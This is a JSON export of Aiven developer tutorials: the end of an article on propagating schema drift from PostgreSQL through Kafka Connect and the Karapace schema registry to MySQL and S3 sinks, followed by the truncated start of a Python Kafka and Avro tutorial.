https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\n  ```\n\nOnce we've replaced the placeholder values in the file, we can create the connector with the following call where `cdc-deb.json` is the file containing the connector settings:\n\n```bash\navn service connector create demo-drift-kafka @cdc-deb.json\n```\n\n## Check the data in Kafka\n\nOnce the connector is working, we can use [kcat](https://aiven.io/docs/products/kafka/howto/kcat) to check the data in Apache Kafka.\n\nTo get the `kcat` command for connecting to our Kafka service and also download the necessary SSL certificates, run:\n\n```bash\navn service connection-info kcat demo-drift-kafka -W\n```\n\nNext, we can get the `avnadmin` password with:\n\n```bash\navn service user-list --format '{password}' --project devrel-francesco demo-drift-kafka\n```\n\nFinally, we can take that `kcat` command and use it to check the data.\nWe need to add some parameters to explain what we want to read:\n* `-C` to tell it to act as a Consumer,\n* `-t sourcepg.public.users` to tell it which topic to read from,\n* `-s avro` to tell it to use Avro, and\n* `-r https://avnadmin:\u003cSCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e` to tell it where the schema registry is\n\nPutting all of that together, the command you run should look like this:\n```bash\nkcat -b \u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e \\\n    -X security.protocol=SSL \\\n    -X ssl.ca.location=ca.pem \\\n    -X ssl.key.location=service.key \\\n    -X ssl.certificate.location=service.cert \\\n    -s avro \\\n    -r https://avnadmin:\u003cSCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e \\\n    -C -t sourcepg.public.users\n```\n\nWe should see the same four rows we inserted previously appearing in the standard Debezium format:\n\n```json\n{\"id\": 1}{\"before\": null, \"after\": {\"Value\": {\"id\": 1, \"username\": {\"string\": \"Spiderman\"}, \"hero\": {\"boolean\": true}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248487}, \"transaction\": null}\n{\"id\": 2}{\"before\": null, \"after\": {\"Value\": {\"id\": 2, \"username\": {\"string\": \"Flash\"}, \"hero\": {\"boolean\": true}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248493}, \"transaction\": null}\n{\"id\": 3}{\"before\": null, \"after\": {\"Value\": {\"id\": 3, \"username\": {\"string\": \"Joker\"}, \"hero\": {\"boolean\": false}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248494}, \"transaction\": null}\n{\"id\": 4}{\"before\": null, \"after\": {\"Value\": {\"id\": 4, \"username\": {\"string\": \"Batman\"}, \"hero\": {\"boolean\": true}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"last\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248494}, \"transaction\": null}\n```\n\n## Check the data definition in Karapace\n\nHaving created the connector using Avro and the Karapace schema registry, we can examine the schema definition for the topic. By default, when utilizing Kafka Connect with a schema registry, two schemas are generated with names \u003cTOPIC_NAME\u003e-value and \u003cTOPIC_NAME\u003e-key to store the schema definition for the value and key, respectively.\n\nWe can get the list of schemas defined in Karapace with:\n\n```bash\ncurl https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e/subjects\n```\n\nWhich returns output similar to:\n\n```json\n[\"sourcepg.public.users-key\",\"sourcepg.public.users-value\"]\n```\n\nThe above is the names of the two schemas for the Debezium topic. Each name is the concatenation of the `database.server.name` parameter (`sourcepg`), the schema and table name (`public.users`) and either the `key` or `value` suffix.\n\nWe can check which versions we have for the `sourcepg.public.users-key` topic with:\n\n```bash\ncurl -X GET https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e/subjects/sourcepg.public.users-key/versions\n```\n\nThe output should show version `1` being available.\n\nTo check the definition of the schema `sourcepg.public.users-key` version `1` we can use the following command:\n\n```bash\ncurl -X GET https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e/subjects/sourcepg.public.users-key/versions/1\n```\n\nThe output shows all the fields included in the key, including the `id` and `name` we defined in the original PostgreSQL table.\n\n```\n{\n  \"id\": 1,\n  \"schema\": \"{\\\"connect.name\\\":\\\"sourcepg.public.users.Key\\\",\\\"fields\\\":[{\\\"default\\\":0,\\\"name\\\":\\\"id\\\",\\\"type\\\":{\\\"connect.default\\\":0,\\\"type\\\":\\\"int\\\"}}],\\\"name\\\":\\\"Key\\\",\\\"namespace\\\":\\\"sourcepg.public.users\\\",\\\"type\\\":\\\"record\\\"}\",\n  \"subject\": \"sourcepg.public.users-key\",\n  \"version\": 1\n}\n```\n\n## Sink the data to MySQL\n\n![Sink data to MySQL with Kafka Connect JDBC sink](https://cdn.sanity.io/images/sczeoy4w/production/acb80f39304927a42f9c7ca67d515ffdadddc374-3956x1410.png)\n\nNow that we have the data in Apache Kafka, let's set up a consumer for the data to demonstrate how the solution manages drift. The initial consumer will be a MySQL database. We can establish the flow using a dedicated JDBC sink connector and the following code stored in mysql_jdbc_sink.json.\n\n\n```json\n{\n    \"name\": \"cdc-sink-mysql\",\n    \"connector.class\": \"io.aiven.connect.jdbc.JdbcSinkConnector\",\n    \"topics\": \"sourcepg.public.users\",\n    \"transforms\": \"extract\",\n    \"connection.url\": \"jdbc:mysql://\u003cMYSQL_HOST\u003e:\u003cMYSQL_PORT\u003e/\u003cMYSQL_DB_NAME\u003e?ssl-mode=REQUIRED\",\n    \"connection.user\": \"avnadmin\",\n    \"connection.password\": \"\u003cMYSQL_PASSWORD\u003e\",\n    \"table.name.format\": \"users_mysql\",\n    \"insert.mode\": \"upsert\",\n    \"pk.mode\": \"record_key\",\n    \"pk.fields\": \"id\",\n    \"auto.create\": \"true\",\n    \"auto.evolve\": \"true\",\n    \"transforms\": \"extract\",\n    \"transforms.extract.type\": \"io.debezium.transforms.ExtractNewRecordState\",\n    \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"key.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"key.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n    \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"value.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"value.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\"\n}\n```\n\nIn the above connector we are defining:\n* The JDBC sink connector in the `connector.class` parameter\n* The MySQL connection settings in the `connection.url` parameter, We can get the parameters to compose the URL and the credentials with the following call\n\n  ```bash\n  avn service get demo-drift-mysqldb --format '{service_uri_params}'\n  ```\n\n* The target table name will be `users_mysql` with upsert mode (see `insert.mode`), inserting or updating existing rows based on the `id` field (see `pk.mode` and `pk.fields` parameters)\n* The table will be created automatically if it does not exist (`\"auto.create\": \"true\"`) and evolve following the changes in the Apache Kafka topic (`\"auto.evolve\": \"true\"`). This will be key to propagating the drift to downstream technologies (MySQL in this case).\n* A transformation called `extract` to retrieve and propagate the status of the row after the change from the Debezium format\n* The usage of Avro and Apache Kafka schema registry functionality for both message keys and values. We can fetch the needed connection parameters (`\u003cKAFKA_HOST\u003e`, `\u003cSCHEMA_REGISTRY_PORT\u003e`, `\u003cSCHEMA_REGISTRY_PASSWORD\u003e`)\n\n  ```bash\n  avn service get demo-drift-kafka --json | jq -r '.connection_info.schema_registry_uri'\n  ```\n\n  The above command will provide the Kafka schema registry uri in the form:\n\n  ```html\n  https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\n  ```\n\nHaving replaced the placeholder values, we can create the connector with the following call, where `cdc-deb.json` is the file containing the connector settings:\n\n```bash\navn service connector create demo-drift-kafka @mysql_jdbc_sink.json\n```\n\nWe can verify the status of the connector with:\n\n```bash\navn service connector status demo-drift-kafka cdc-sink-mysql\n```\n\nThe above command should show the connector in `RUNNING` state\n\n## Check the data in MySQL\n\nOnce the above connector is running, we can head to MySQL to check the data. To get the connection parameters, we can retype the following command: \n\n\n```bash\navn service get demo-drift-mysqldb --format '{service_uri_params}'\n```\n\nAnd then connect with the following command, replacing the placeholders. Note the absence of spaces between the `-p` parameter and the password.\n\n```bash\nmysql -u avnadmin   \\\n    -P \u003cMYSQL_PORT\u003e        \\\n    -h \u003cMYSQL_HOST\u003e \\\n    -D defaultdb    \\\n    -p\u003cMYSQL_PASSWORD\u003e\n```\n\nWe can then check the data with:\n\n```sql\nselect * from users_mysql;\n```\n\nThe table is `users_mysql` following the `table.name.format` in the connector. The data should be in line with what we have in PostgreSQL.\n\n```\n+----+-----------+------+\n| id | username  | hero |\n+----+-----------+------+\n|  1 | Spiderman |    1 |\n|  2 | Flash     |    1 |\n|  3 | Joker     |    0 |\n|  4 | Batman    |    1 |\n+----+-----------+------+\n```\n\nIf we check the table structure with `describe users_mysql`, we can see that the `hero` column has been mapped to a `TINYINT` in MySQL.\n\n```\n+----------+--------------+------+-----+---------+-------+\n| Field    | Type         | Null | Key | Default | Extra |\n+----------+--------------+------+-----+---------+-------+\n| id       | int          | NO   | PRI | 0       |       |\n| username | varchar(256) | YES  |     | NULL    |       |\n| hero     | tinyint      | YES  |     | NULL    |       |\n| points   | int          | YES  |     | NULL    |       |\n+----------+--------------+------+-----+---------+-------+\n```\n\n\n## Let's talk Drift\n\nSo far we've built a fairly traditional data pipeline. Now, let's include some changes to the original data structure in PostgreSQL to mimic drift. \n\n### Adding a column\n\nIn the terminal connected to the PostgreSQL database, execute the following command to add a `POINTS` integer column:\n\n```sql\nALTER TABLE USERS ADD COLUMN POINTS INT;\n```\n\nNothing happens immediately in the target MySQL table after the DDL execution in PostgreSQL. The structure and the data of `USERS_MYSQL` is still the same.\n\nNow change the data in PostgreSQL, using the following update statement:\n\n```bash\nUPDATE USERS SET POINTS = CASE WHEN USERNAME = 'Batman' then 5 else 10 end;\n```\n\nIn MySQL, execute:\n```sql\nSELECT * FROM users_mysql;\n```\nWe can see the effect on the MySQL table `points` in near real time:\n\n```\n+----+-----------+------+--------+\n| id | username  | hero | points |\n+----+-----------+------+--------+\n|  1 | Spiderman |    1 |     10 |\n|  2 | Flash     |    1 |     10 |\n|  3 | Joker     |    0 |     10 |\n|  4 | Batman    |    1 |      5 |\n+----+-----------+------+--------+\n```\n\nAs mentioned in the sink connector definition, `\"auto.create\": \"true\"` allows the automatic creation of the table if it doesn't exist, and `\"auto.evolve\": \"true\"` allows the evolution of the table in cases when **new data columns are included**.\n\n### Removing a column\n\nWhat about removing columns? Let's test it! Let's drop the same `points` column we just added from the PostgreSQL terminal with:\n\n```sql\nALTER TABLE USERS DROP COLUMN POINTS;\n```\n\nIf we execute our previous query in MySQL again:\n```sql\nSELECT * FROM users_mysql;\n```\n\nWe see that column is not dropped in MySQL, the structure of the `users_mysql` is the same and the `points` column is still filled.\n\n```sql\n+----+-----------+------+--------+\n| id | username  | hero | points |\n+----+-----------+------+--------+\n|  1 | Spiderman |    1 |     10 |\n|  2 | Flash     |    1 |     10 |\n|  3 | Joker     |    0 |     10 |\n|  4 | Batman    |    1 |      5 |\n+----+-----------+------+--------+\n```\n\nThis makes sense because downstream applications might be using the `points` column. An unexpected and unhandled drop of a column could have disastrous effects on the downstream data pipelines. However the risk actually is dealing with updated information, as the `points` column has been dropped from PostgreSQL and therefore cannot be updated.\n\n### Changing the column type\n\nWhat about changing the column type? A change in the column type could be needed in cases, like this example, where we want to migrate from a `BOOLEAN` to a `VARCHAR` for the `HERO` column. Let's execute the following in PostgreSQL:\n\n```sql\nALTER TABLE USERS ALTER COLUMN HERO TYPE VARCHAR;\n```\n\nAs before nothing happens on the DDL statement, but, when we try to add some data using the new `VARCHAR` column type:\n\n\n```sql\nINSERT INTO USERS (USERNAME, HERO) VALUES ('Panda', 'middle');\n```\n\nThe insert goes well PostgreSQL as expected, but the Debezium source connector crashes with the following error:\n\n```text\nERROR \"Caused by: org.apache.kafka.common.config.ConfigException: Failed to access Avro data from topic sourcepg.public.users : Incompatible schema, compatibility_mode=BACKWARD reader union lacking writer type: RECORD; error code: 409\"\nBackwards compatibility, old schema type is boolean (with null), new schema type is string... incompatible\n```\n\nThis is because the schema is stored in Karapace with the `BACKWARDS` compatibility setting. The `BACKWARDS` compatibility ensures that consumers using an older schema definition are able to consume events produced with the current schema. The change, from `BOOLEAN` to `VARCHAR` could stop old consumers from being able to parse the information correctly, so it's not allowed and the connector fails.\n\n### Changing the compatibility level\n\nFor the sake of this example, let's remove the `BACKWARDS` compatibility setting and allowing all changes in the source system to propagate. We'll set compatibility to `NONE` allowing all the changes to propagate to the Apache Kafka topic.\n\nFirst, we check the default compatibility level for the Apache Kafka service with:\n\n```bash\navn service schema configuration demo-drift-kafka\n```\n\nThis shows `BACKWARD` being the default. The same default setting is applied to the `sourcepg.public.users-value` topic, that we can check with:\n\n```bash\navn service schema subject-configuration demo-drift-kafka \\\n    --subject sourcepg.public.users-value\n```\n\nTo change the compatibility level to `NONE` for both key and value, run the following commands:\n\n```bash\navn service schema subject-configuration-update demo-drift-kafka \\\n    --subject sourcepg.public.users-value                        \\\n    --compatibility NONE\navn service schema subject-configuration-update demo-drift-kafka \\\n    --subject sourcepg.public.users-key                          \\\n    --compatibility NONE\n```\n\nNow, if we restart the Debezium Source connector task `0` with:\n\n```bash\navn service connector restart-task demo-drift-kafka pg-source-users 0\n```\n\nWe see that the source connector restarts correctly. Using `avn service connector status demo-drift-kafka pg-source-users` shows the connector in the `RUNNING` state:\n\n  ```json\n    {\n      \"status\": {\n          \"state\": \"RUNNING\",\n          \"tasks\": [\n              {\n                  \"id\": 0,\n                  \"state\": \"RUNNING\",\n                  \"trace\": \"\"\n              }\n          ]\n      }\n  }\n  ```\n\n* The JDBC sink connector to MySQL fails. Running `avn service connector status demo-drift-kafka cdc-sink-mysql` returns an error:\n\n```text\nCaused by: org.apache.kafka.connect.errors.ConnectException: java.sql.SQLException: java.sql.BatchUpdateException: Incorrect integer value: 'middle' for column 'hero' at row 1\njava.sql.SQLException: Incorrect integer value: 'middle' for column 'hero' at row 1\n```\n\nThe error indicates that the connector attempted to insert the new value (middle) into an integer column. This implies that the auto-evolution process did not alter the structure of the pre-existing column.\n\nTo confirm this, we can execute describe users_mysql on the MySQL database and validate that the hero column remains a tinyint.\n\nIn the JDBC sink connector documentation, the [`auto.evolution` section](https://github.com/aiven/jdbc-connector-for-apache-kafka/blob/master/docs/sink-connector.md#auto-evolution) says:\n\n\u003e * The connector does not delete columns.\n\u003e * The connector does not alter column types.\n\u003e * The connector does not add primary keys constraints.\n\nWe already talked about automatic column deletion being a dangerous action. The same is true for the automatic change of column types, since downstream applications could rely on functions that work specifically on particular column types. Therefore, modifying a column type should be handled as a breaking change, correctly making  the sink connector fail. \n\n## What about non relational targets? The AWS S3 example\n\n![Sink to AWS S3 with Kafka Connect and the s3 sink](https://cdn.sanity.io/images/sczeoy4w/production/0300bd6bf09564629ce3b7b16feec1581b01a5c9-3720x1368.png)\n\nThe scenario described above is one of the more strict scenarios possible, in terms of data evolution. Both the source and the target are relational databases with strict column type definition. In this second example we'll sink the data to an S3 bucket where the data structure is not defined upfront.\n\n\nWe can create a sink connector to S3 with the following JSON configuration file stored in a file named `s3_sink.json`\n\n```json\n{\n    \"name\": \"s3sink\",\n    \"connector.class\": \"io.aiven.kafka.connect.s3.AivenKafkaConnectS3SinkConnector\",\n    \"aws.access.key.id\": \"\u003cAWS_SECRET_ID\u003e\",\n    \"aws.secret.access.key\": \"\u003cAWS_SECRET_ACCESS\u003e\",\n    \"aws.s3.bucket.name\": \"\u003eAWS_BUCKET_NAME\u003e\",\n    \"aws.s3.region\": \"\u003cAWS_REGION\u003e\",\n    \"topics\": \"sourcepg.public.users\",\n    \"format.output.type\": \"json\",\n    \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"key.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"key.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n    \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"value.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"value.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n    \"transforms\": \"extract\",\n    \"transforms.extract.type\": \"io.debezium.transforms.ExtractNewRecordState\"\n}\n```\n\nWhere:\n\n* The set of `aws.*` parameters refers to the S3-related secrets, as detailed in the [connector prerequisites documentation](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-prereq.html).\n* The `topics` parameter defines the source of information (specifically, the `sourcepg.public.users` topic).\n* The `format.output.type` parameter specifies how the data will be stored (in this case, as `json`).\n* The `key.converter` and `value.converter` parameters enable the connector to retrieve schema information from Karapace.\n* The `transforms` section allows the extraction of the value after the change from the Debezium format.\n\nWe can start the above connector with:\n\n```bash\navn service connector create demo-drift-kafka @s3_sink.json\n```\n\nIf we check the data in S3, we should see a document in the bucket containing all the changes implemented in PostgreSQL.\n\n```json\n[\n{\"value\":{\"id\":1,\"username\":\"Spiderman\",\"hero\":true}},\n{\"value\":{\"id\":2,\"username\":\"Flash\",\"hero\":true}},\n{\"value\":{\"id\":3,\"username\":\"Joker\",\"hero\":false}},\n{\"value\":{\"id\":4,\"username\":\"Batman\",\"hero\":true}},\n{\"value\":{\"id\":1,\"username\":\"Spiderman\",\"hero\":true,\"points\":10}},\n{\"value\":{\"id\":2,\"username\":\"Flash\",\"hero\":true,\"points\":10}},\n{\"value\":{\"id\":3,\"username\":\"Joker\",\"hero\":false,\"points\":10}},\n{\"value\":{\"id\":4,\"username\":\"Batman\",\"hero\":true,\"points\":5}},\n{\"value\":{\"id\":5,\"username\":\"Panda\",\"hero\":\"middle\"}}\n]\n```\n\nThe output from the CDC -\u003e Kafka -\u003e S3 flow encompasses all events. Due to the Debezium compatibility mode being set to NONE, every change successfully stored in Kafka. Moreover, as S3 does not enforce a specific structure on the data, all changes, whether they involve new or deleted columns, have been written to the target bucket in JSON format.\n\n\n## Terminate the services\n\nIf you followed this tutorial and want to remove the services used for testing, you can run the commands below:\n\n```bash\navn service terminate demo-drift-postgresql --force\navn service terminate demo-drift-kafka --force\navn service terminate demo-drift-mysqldb --force\n```\n\n## Summary\n\nData and Schema drift must be managed in scenarios where multiple consumers want to access the changes happening in a source system. Apache Kafka, and the Karapace schema registry, provide a method to propagate compatible changes and forbid breaking ones by stopping the pipeline. Pay special attention to column drops, since they are not propagated automatically to target systems (specifically if the target is another relational database) and could cause problems with updated data on the deleted columns.\n\nTo summarize how changes are propagated: \n\n| Action    | Status | Description |\n| -------- | ------- | ------- |\n| Add column | ✅ | Propagates downstream if `auto.evolve` is set to `true`. |\n| Remove column | ⚠️ | Does not propagate downstream in case of sink to relational database. Possible use of stale data for the dropped column. |\n| Change datatype | ⚠️ | Depends on the change, compatibility settings and target technology. Not propagated in case of JDBC sink. |\n\n\nA summary of Schema registry compatibility:\n\n* `BACKWARDS` allows you to stop the pipeline before ingesting data in Kafka, since breaking changes will not be included in the topic\n* `NONE` allows you to continue ingesting, but might break downstream data pipelines if the downstream tech is relational or has precise column definition and evolution is not straightforward\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-01-09T10:52:39.819Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"8fb1bd0c524a","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2024-01-04T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"Managing data drift with Apache Kafka® Connect and a schema registry\" in white text on a dark blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-d7e2b13b72baedcabe0a65658e8a9a12f276f1de-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/data-drift-with-kafka-schema-registry"},"subtitle":"Use Karapace, an open source Apache Kafka® schema registry, to prevent data errors by managing the data model across databases","tags":[{"_key":"e3883371fa9f","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"564e5b9588b3","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"3b879b0a0816","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"d4a7928a52f6","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Managing data drift with Apache Kafka® Connect and a schema registry"}
{"__i18n_lang":"en","_createdAt":"2023-03-31T12:08:07Z","_id":"a439b974-34e0-4182-81fd-0047591553d7","_rev":"ZgPiUE9lJ1tcRKuFnZuSp7","_type":"devArticle","_updatedAt":"2024-07-11T11:58:59Z","body":"::alert[This tutorial assumes basic knowledge of Apache Kafka®]\n\n## Learning objectives\n\n-   Basic overview of Apache Kafka and creating a highly available Apache Kafka service\n-   The concept of topic, partition, producer, consumer, and consumer groups\n-   The need for data serialization in Kafka and use of Apache Avro™ to produce and consume messages\n\n## Overview\n\nGetting started with Apache Kafka can be straightforward: you download the binary and start the bootstrap server. However, standing up a production-ready Kafka cluster with security and high-availability is a different story. Have you added multiple Kafka brokers to ensure high availability while maintaining a low network\nlatency? How about the default replication factor? How are you ensuring the security and access control for your Kafka brokers?\n\nBecause administering production-ready Kafka clusters is difficult, we\nat Aiven created a [managed Kafka service](https://aiven.io/kafka) with a free trial to avoid some of the hassle. This lets you focus on producing and consuming data with Kafka, rather than becoming a cluster administrator.\n\nIn this tutorial, we will learn how to create a highly available Apache\nKafka service, go over the common tasks of producing and consuming\nmessages, and finally use the popular Apache Avro™ specification to\ncommunicate with your Kafka service. This tutorial will use the Python\nprogramming language. Under the hood, the Python library will make use\nof the [Producer API](https://kafka.apache.org/documentation/#producerapi) and the\n[Consumer API](https://kafka.apache.org/documentation/#consumerapi).\n\n## Prerequisites\n\nTo get started, you'll need:\n\n-   A Kafka service - either local or managed\n\n-   [Python installed](https://www.python.org/downloads/)\n\n-   [Kafka-python](https://github.com/dpkp/kafka-python) library\n    installed, you can install it with the following command:\n\n    ``` bash\n    pip install kafka-python\n    ```\n\n-   [confluent-Kafka](https://github.com/confluentinc/confluent-kafka-python)\n    library installed that you\\'ll use to produce messages in AVRO\n    format, you can install it with the following command:\n\n    ``` bash\n    pip install confluent-kafka\n    ```\n\n-   [fastavro](https://github.com/fastavro/fastavro) library installed,\n    you can install it with the following command:\n\n    ``` bash\n    pip3 install fastavro\n    ```\n\nIf you already have a Kafka service, jump to [Create a topic](#create-a-topic) section.\n\nOtherwise, [sign up for an Aiven\naccount](https://console.aiven.io/signup) and follow the tutorial to\ncreate a Kafka service on Aiven.\n\n## Create an Aiven for Apache Kafka® service\n\nTo create an\n[Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service, you need to:\n\n1.  Log in to the [Aiven web console](https://console.aiven.io/).\n\n2.  On the *Services* page, click **Create a new service**.\n\n    This opens a new page with the available service options.\n\n    ![Aiven Console view for creating a new service](https://cdn.sanity.io/images/sczeoy4w/production/882c8a09ad09424c6908cf8228bec1404c4f9c1a-3276x1624.png)\n\n3.  Select **Apache Kafka®**.\n\n4.  Select the cloud provider and region that you want to run your\n    service on.\n\n5.  Select `Startup-2` as service plan.\n\n6.  Enter `demo-kafka` as name for your service.\n\n7.  Click **Create Service** under the summary on the right side of the\n    console.\n\nThe blinking blue icon beside your service name will indicate that\nservice is being provisioned. Once the icon turns solid green, your\nApache Kafka service is up and running.\n\n## Making a note of the connection parameters\n\nLet's start by copying the connection information for the newly created\nApache Kafka service in order to authenticate and authorize to the Kafka\nbroker.\n\n![Host, port, username, password and other](https://cdn.sanity.io/images/sczeoy4w/production/ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69-2606x1628.png)\n\nGo to the *Overview* page of your Aiven for Apache Kafka service.\n\n-   If you are going to connect with SSL authentication:\n    -   In the *Connection information* section:\n        1.  If **Authentication Method** is shown, choose **Client\n            Certificate**\n        2.  Next to *Access Key*, click **Download** and save the\n            `service.key` file.\n        3.  Next to *Access Certificate*, click **Download** and save\n            the `service.cert` file.\n        4.  Next to *CA Certificate*, click **Download** and save the\n            `ca.pem` file.\n-   If you are going to connect using SASL authentication:\n    1.  Follow the instructions at [Use SASL Authentication with Apache\n        Kafka®](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth.html) to enable SASL.\n    2.  In the *Connection Information* section\n        1.  Select **SASL** as the **Authentication Method**\n        2.  Next to *CA Certificate*, click **Download** and save the\n            `ca.pem` file\n        3.  Note the *Password* required for the SASL, we'll need it\n            for authentication\n-   Create the keystore `client.keystore.p12` and truststore `client.truststore.jks` by following [our article on configuring Java SSL to access Kafka](https://aiven.io/docs/products/kafka/howto/keystore-truststore)\n\n::alert[In the below examples, we just pass the name of the keystore and truststore files, but in production, use the full path.]\n\nYou can also use the [Aiven command line\ntool](https://aiven.io/docs/tools/cli.html) to download the files.\nSee the documentation for [avn service\nuser-creds-download](https://aiven.io/docs/tools/cli/service/user.html#avn-service-user-creds-download)\n\nDetails on the Aiven for Apache Kafka configuration can be found under\nthe [reference](#reference) section.\n\n## Create a topic\n\nA topic in Kafka is a named stream of records that is stored within a\nKafka cluster. A record is a key-value pair associated with a timestamp\nand other metadata. Records and topics can represent whatever you need\nfrom a business perspective: in general, records represent events that\nhappen in a system, and a topic is a grouping of similar events. Let's\ncreate a Kafka topic.\n\nIf you have a local Kafka instance running, the command to create the\ntopic might be something like this:\n\n``` bash\nbin/kafka-topics.sh --create --topic demo-topic --bootstrap-server localhost:9092\n```\n\n::alert[Be sure to replace `localhost:9092` if your local Kafka instance ip and port are different.]\n\n![Image showing how to create a Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/9886f4c339a9b79dfabaee10e02d885a861a0c68-3352x1328.png)\n\nFor an Aiven for Apache Kafka service, you can create the topic from the\nAiven console.\n\n-   From the **Topics** tab or the Kafka service overview page, click\n    **Add topic**.\n-   Give the topic a name `demo-topic`.\n-   Click **Add topic**.\n\nOnce this topic is created, we can see that the default number of\npartitions is 1.\n\n![Image showing default number of partitions for the Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/2bc7bffe7fa1e602a4816f26833d9406998d2f3e-2298x920.png)\n\n## Consumer groups and consuming messages on Kafka\n\nA consumer group is the logical grouping of consumers. A consumer is\nusually a client application that reads (consumes) events from Kafka. In\nKafka, the consumer(s) must belong to a consumer group. If you don't\ndefine one, Kafka generates a random consumer group. For a Kafka cluster\nwith multiple nodes, consumers within the same consumer group can exist\non different nodes.\n\n:::mermaid\ngraph TD\n    A(Topic) -- Partition 1 --\u003e D[/Consumer 3/]\n    A(Topic) -- Partition 2 --\u003e E[/Consumer 4/]\n    subgraph Consumer Group 2\n    D\n    E\n    end\n\n    A(Topic) -- Partition 1 --\u003e B[/Consumer 1/]\n    A(Topic) -- Partition 2 --\u003e C[/Consumer 2/]\n    subgraph Consumer Group 1\n    B\n    C\n    end\n:::\n\nIn the above diagram, there are four consumers that are subscribed to a\ntopic. `Consumer 1` and `Consumer 2` are part of `Consumer Group 1` and\nthe other two consumers are part of `Consumer Group 2`. Now imagine a\nproducer publishing messages to this topic. Messages within each\npartition are read in order but they are read in parallel across\npartitions. Consumers read data in consumer groups and each consumer\nwithin a group reads from exclusive partitions. From this diagram, both\nconsumer 